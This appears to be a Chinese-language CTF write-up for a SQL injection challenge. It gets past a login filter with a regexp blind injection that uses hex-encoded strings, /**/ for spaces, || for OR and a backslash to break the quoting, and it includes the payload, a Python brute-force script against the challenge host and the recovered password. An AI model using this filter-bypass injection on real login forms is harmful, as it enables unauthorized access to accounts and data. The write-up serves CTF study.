web1 sql

登录页面,首先fuzz测试一下过滤关键字。

过滤了select ascii substr if 各种比较,引号。而开放了regexp,/**/等特殊字段。不考虑bool盲注,时间盲注。考虑

regexp正则盲注,关于正则盲注可以去我的sql总结中看。

思路:正则盲注,使用16进制编码绕过引号限制,使用/**/绕过空格限制。使用||绕过OR限制,而\用来转义引号从而使其闭合。

payload:

1
username=admin\&password=||password/**/regexp/**/0x5e542a#

脚本Python3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string
url = "http://eci-2ze10cbxg19yyr2ee727.cloudeci1.ichunqiu.com/"
ALLSTR = string.ascii_lowercase+string.ascii_uppercase+string.digits+"_"
password = ''
hexs = ''
for a in range(0,50):
for i in ALLSTR:
data = {'username': "admin\\", 'password': '||password/**/regexp/**/BINARY/**/0x5E' +hexs+hex(ord(i))[2:4] + "#"}
result = requests.post(url=url,data=data)
# print(data)
if "flag" in result.text:
password = password + i
hexs = hexs+hex(ord(i))[2:4]
print("password is " + password)
print(hexs)

result:

用户名admin,密码This_1s_thE_Passw0rd登录getflag